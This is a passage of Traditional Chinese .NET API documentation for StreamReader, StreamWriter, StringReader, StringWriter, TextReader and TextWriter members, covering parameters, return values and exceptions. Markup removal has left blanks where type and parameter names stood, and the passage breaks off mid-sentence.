使用指定的字元編碼，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼和位元組順序標記偵測選項，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼、位元組順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + 最小緩衝區大小。 + 資料流不支援讀取。 + + 或 為 null。 + + 小於或等於零值。 + + + 根據指定的字元編碼、位元順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要讀取的資料流。 + 要使用的字元編碼。 + true 表示在檔案開頭尋找位元順序標記；否則為 false。 + 最小緩衝區大小。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + + 傳回基礎資料流。 + 基礎資料流。 + 2 + + + 取得目前 物件使用的目前字元編碼。 + 目前讀取器所使用的字元編碼。在第一次呼叫 的任何 方法之後其值可能不同，因為編碼方式的自動偵測要等到第一次呼叫 方法後才完成。 + 2 + + + 清除內部緩衝區。 + 2 + + + 關閉基礎資料流，接著釋放 所使用的 Unmanaged 資源，然後再選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得表示現行資料流位置是否在資料流結尾的值。 + 如果現行資料流位置在資料流的結尾，則為 true；否則為 false。 + 已處置基礎資料流。 + 1 + + + 空資料流周圍的 物件。 + 1 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有要讀取的字元或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 1 + + + 自輸入資料流讀取下一個字元，並將字元位置前移一個字元。 + 來自輸入資料流的下一個字元會以 物件來表示；如果不再有可以使用的字元，則以 -1 表示。 + 發生 I/O 錯誤。 + 1 + + + 從目前資料流讀取指定的字元數目上限，在指定的索引位置開始讀入緩衝區中。 + 已讀取字元數，或為 0 (如果處於資料流末端而無資料讀取)。數目將小於或等於 參數，取決於資料流內是否有資料可供使用。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + 要開始寫入的 的索引。 + 要讀取的字元數上限。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤，例如資料流已經關閉。 + 1 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前資料流讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則方法會返回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前資料流讀取一行字元，並將資料以字串傳回。 + 輸入資料流的下一行，或為 null (如果已到達輸入資料流末端)。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 自目前資料流非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含資料流中的下一行，或者是 null (如果已經讀取所有字元)。 + 下一行中的字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到資料流末端的所有字元。 + 資料流從目前位置到末端的其餘字串。如果目前位置位於資料流末端，則傳回空字串 ("")。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 發生 I/O 錯誤。 + 1 + + + 非同步讀取從目前位置到資料流末端的所有字元，並將它們以字串傳回。 + 表示非同步讀取作業的工作。 參數的值會包含字串，該字串含有從目前位置到資料流結尾的字元。 + 字元數大於 。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 實作以特定的編碼方式將字元寫入位元組資料流的 。若要瀏覽此類型的.NET Framework 原始碼，請參閱參考來源。 + 1 + + + 使用 UTF-8 編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + + 不可寫入。 + + 為 null。 + + + 使用指定的編碼方式和預設緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + + 或 是 null。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 使用指定的編碼方式和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要寫入的資料流。 + 要使用的字元編碼。 + 緩衝區大小，以位元組為單位。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + + 或 是 null。 + + 為負值。 + + 不可寫入。 + + + 取得或設定值，指出 在每次呼叫 之後，是否要將其緩衝區清除到基礎資料流。 + 強制 清除其緩衝區，則為 true，否則為 false。 + 1 + + + 取得以備份存放區作介面的基礎資料流。 + StreamWriter 正在寫入的資料流。 + 2 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + + + 取得寫入輸出的 。 + + (在目前執行個體的建構函式中指定)；如果未指定編碼方式，則為 。 + 2 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並且造成所有緩衝資料都寫入基礎資料流。 + 目前寫入器已關閉。 + 發生 I/O 錯誤。 + 目前的編碼不支援顯示 Unicode Surrogate 字組的其中一半。 + 1 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + 已處置資料流。 + + + 提供 StreamWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將一個字元寫入資料流。 + 要寫入資料流的字元。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元陣列寫入資料流。 + 含有要寫入之資料的字元陣列。如果 是 null，則不寫入任何資料。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字元子陣列寫入資料流。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 1 + + + 將字串寫入資料流。 + 要寫入資料流的字串。如果 是 Null，則不會寫入任何資料。 + + 為 True，或 緩衝區已滿，且目前的寫入器已經關閉。 + + 為 True，或 緩衝區已滿，且因為 是在資料流緩衝區的結尾，所以該緩衝區的內容無法寫入至基礎的固定大小資料流。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入資料流。 + 表示非同步寫入作業的工作。 + 含有要寫入之資料的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字串。如果 是 null，則不寫入任何資料。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 將行結束字元以非同步方式寫入資料流。 + 表示非同步寫入作業的工作。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入資料流的字元。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的字元位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 資料流寫入器已處置。 + 資料流寫入器目前由先前寫入作業所使用。 + + + 實作讀取字串的 。 + 2 + + + 初始化 類別的新執行個體，這個執行個體會從指定的字串讀取。 + + 應該初始化的目的字串。 + + 參數為 null。 + + + 釋放 使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或資料流不支援搜尋，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取下一個字元，並將字元位置前移一個字元。 + 基礎字串的下一個字元；如果不再有字元可供使用，則為 -1。 + 目前的讀取器已關閉。 + 2 + + + 自輸入字串讀取字元區塊，並將字元位置前移 個字元。 + 讀入緩衝區的字元總數。如果目前無法提供那麼多的字元數，則這個數目可能小於所要求的字元數，或如果已經到達基礎字串的末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + 緩衝區中的起始索引。 + 要讀取的字元數。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負數。 + 目前的讀取器已關閉。 + 2 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的字串非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達字串末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的最大字元數。如果指定的字元數寫入緩衝區之前，便到達字串末端，則方法會返回。 + + 為 null。 + + 或 為負數。 + + 和 的總和大於緩衝區的長度。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自目前字串讀取一行字元，並將資料以字串傳回。 + 目前字串的下一行，如果已到達字串的結尾，則為 null。 + 目前的讀取器已關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 2 + + + 自目前字串非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 基礎字串從目前位置至結尾的內容。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 目前的讀取器已關閉。 + 2 + + + 非同步讀取從目前位置到字串末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到字串結尾的字元。 + 字元數大於 。 + 字串讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 實作 以便將資訊寫入字串。資訊儲存在基礎 中。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的控制項格式，初始化 類別的新執行個體。 + 控制格式的 物件。 + + + 初始化 類別的新執行個體，這個執行個體可寫入至指定的 。 + 要寫入至其中的 StringBuilder。 + + 為 null。 + + + 初始化 類別的新執行個體，這個執行個體會寫入至指定的 ，並且具有指定的格式提供者。 + 要寫入至其中的 StringBuilder。 + 控制格式的 物件。 + + 為 null。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得寫入輸出的 。 + 寫入輸出的 Encoding。 + 1 + + + 以非同步的方式清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步清除作業的工作。 + + + 傳回基礎 。 + 基礎 StringBuilder。 + 2 + + + 傳回字串，包含被寫入至目前 StringWriter 的字元。 + 字串，包含被寫入至目前 StringWriter 的字元。 + 2 + + + 將一個字元寫入至字串。 + 要寫入的字元。 + 寫入器關閉。 + 2 + + + 將字元子陣列寫入至字串。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 或 為負數。 + ( + )> 。Length. + 寫入器關閉。 + 2 + + + 將字串寫入至目前字串。 + 要寫入的字串。 + 寫入器關閉。 + 2 + + + 以非同步方式將字元寫入至字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入至字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入至目前字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串至文字資料流。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將一個字元 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 要寫入至字串的字元。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元子陣列 (其後加上行結束字元) 寫入到字串。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始讀取資料的位置。 + 要寫入的最大字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負數。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串 (後面接著行結束字元) 寫入至目前的字串。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果值為 null，則只會寫入行結束字元 (Terminator)。 + 字串寫入器已處置。 + 字串寫入器目前由先前寫入作業所使用。 + + + 代表可以讀取一連串連續字元的讀取器 (Reader)。 + 2 + + + 初始化 類別的新執行個體。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 提供未讀取資料的 TextReader。 + 1 + + + 讀取下一個字元，而不會變更讀取器或字元來源的狀態。傳回下一個可用字元，而不會實際從讀取器讀取。 + 整數，表示要讀取的下一個字元，如果沒有更多字元可供使用或讀取器不支援搜尋，則為 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 自文字讀取器讀取下一個字元，並將字元位置前移一個字元。 + 文字讀取器的下一個字元；如果不再有字元可供使用，則為 -1。預設的實作會傳回 -1。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於資料是否在讀取器裡可供使用。如果不再有字元可供讀取時呼叫，這個方法傳回 0 (零)。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達讀取器末端，則方法會返回。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前的文字讀取器讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，這個參數會包含具有介於 和 ( + -1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 2 + + + 從目前的文字讀取器非同步讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達文字末端，則可能為 0（零）。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定字元陣列，該值是由讀取自目前來源的字元所取代。 + + 中要開始寫入處的位置。 + 要讀取的字元數上限。如果指定的字元數讀入緩衝區之前，便到達文字末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 自文字讀取器讀取一行字元，並將資料以字串傳回。 + 讀取器的下一行，或者如果所有字元都被讀取，則為 null。 + 發生 I/O 錯誤。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + + 已經關閉。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取一行字元，並將資料以字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含文字讀取器中的下一行，或者是null（如果已經讀取所有字元）。 + 下一行中的字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 字串，包含從目前位置到文字讀取器結尾的所有字元。 + 發生 I/O 錯誤。 + + 已經關閉。 + 沒有足夠的記憶體來為傳回的字串配置緩衝區。 + 下一行中的字元數大於 。 + 1 + + + 非同步讀取從目前位置到文字讀取器末端的所有字元，並將它們以單一字串傳回。 + 表示非同步讀取作業的工作。參數的值會包含字串，該字串含有從目前位置到文字讀取器結尾的字元。 + 字元數大於 。 + 文字讀取器已處置。 + 讀取器目前由先前讀取作業所使用。 + + + 代表可以寫入一連串連續字元的寫入器。這個類別是抽象的。 + 2 + + + 初始化 類別的新執行個體。 + + + 使用指定的格式提供者，初始化 類別的新執行個體。 + 控制格式設定的 物件。 + + + 儲存這個 TextWriter 所使用的新行字元。 + + + 釋放由 物件使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫該屬性時，傳回用於寫入輸出的字元編碼。 + 寫入輸出時使用的字元編碼。 + 1 + + + 清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 以非同步的方式清除目前寫入器的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 文字寫入器已處置。 + 寫入器目前由先前寫入作業所使用。 + + + 取得控制格式設定的物件。 + 特定文化特性的 物件，或者目前文化特性的格式 (如果未指定其他文化特性)。 + 2 + + + 取得或設定目前 TextWriter 所使用的行結束字元字串。 + 目前 TextWriter 的行結束字元字串。 + 2 + + + 提供 TextWriter，但不包含可寫入但無法讀取的備份存放區。 + 1 + + + 將 Boolean 值的文字表示寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列寫入到文字字串或資料流。 + 要寫入到文字資料流的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元的子陣列寫入到文字字串或資料流。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 呼叫該物件的 ToString 方法，將物件的文字表示寫入至文字字串或資料流。 + 要寫入的物件。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串寫入到文字字串或資料流。 + 要寫入的字串。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 要格式化及寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是一個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零) 或大於或等於要格式化的物件數目 (就這個方法多載而言，是兩個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 第一個要格式化和寫入的物件。 + 第二個要格式化和寫入的物件。 + 第三個要格式化和寫入的物件。 + + 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或大於或等於要格式化的物件數目 (就這個方法多載而言，是三個)。 + 1 + + + 使用與 方法相同的語意，將格式化字串寫入到文字字串或資料流。 + 複合格式字串 (請參閱＜備註＞)。 + 物件陣列，包含零或多個要格式化和寫入的物件。 + + 或 為 null。 + + 已經關閉。 + 發生 I/O 錯誤。 + + 不是有效的複合格式字串。-或- 格式項目的索引小於 0 (零)，或者大於或等於 陣列的長度。 + 1 + + + 將 4 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 4 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組不帶正負號的整數之文字表示寫入到文字字串或資料流。 + 要寫入之 8 位元組不帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 以非同步方式將字元寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入到文字資料流的字元陣列。如果 是 null，則不寫入任何資料。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字元的子陣列寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 資料寫入來源的字元陣列。 + 緩衝區中要開始擷取資料的字元位置。 + 要寫入的字元數。 + + 為 null。 + + 加上 大於緩衝區的長度。 + + 或 為負值。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 以非同步方式將字串寫入到文字字串或資料流。 + 表示非同步寫入作業的工作。 + 要寫入的字串。如果 為 null，不寫入任何字串到文字資料流。 + 文字寫入器已處置。 + 文字寫入器目前由先前寫入作業所使用。 + + + 將行結束字元寫入到文字字串或資料流。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 Boolean 值的文字表示，並加上行結束字元寫入到文字字串或資料流。 + 要寫入的 Boolean 值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入到文字資料流的字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將一個字元 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字元子陣列 (其後加上行結束字元) 寫入到文字字串或資料流。 + 資料讀取來源的字元陣列。 + + 中開始讀取資料的字元位置。 + 要寫入的最大字元數。 + 緩衝區長度減去 小於 。 + + 參數為 null。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將十進位值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的十進位值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 8 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 4 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 8 位元組帶正負號的整數之文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入之 8 位元組帶正負號的整數。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 透過呼叫該物件上的 ToString 方法，將該物件的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的物件。如果 為 null，只寫入行結束字元。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將 4 位元組浮點數值的文字表示加上行結束字元，寫入到文字字串或資料流。 + 要寫入的 4 位元組浮點數值。 + + 已經關閉。 + 發生 I/O 錯誤。 + 1 + + + 將字串 (其後加上行結束字元) 寫入到文字字串或資料流。 + 要寫入的字串。如果 為 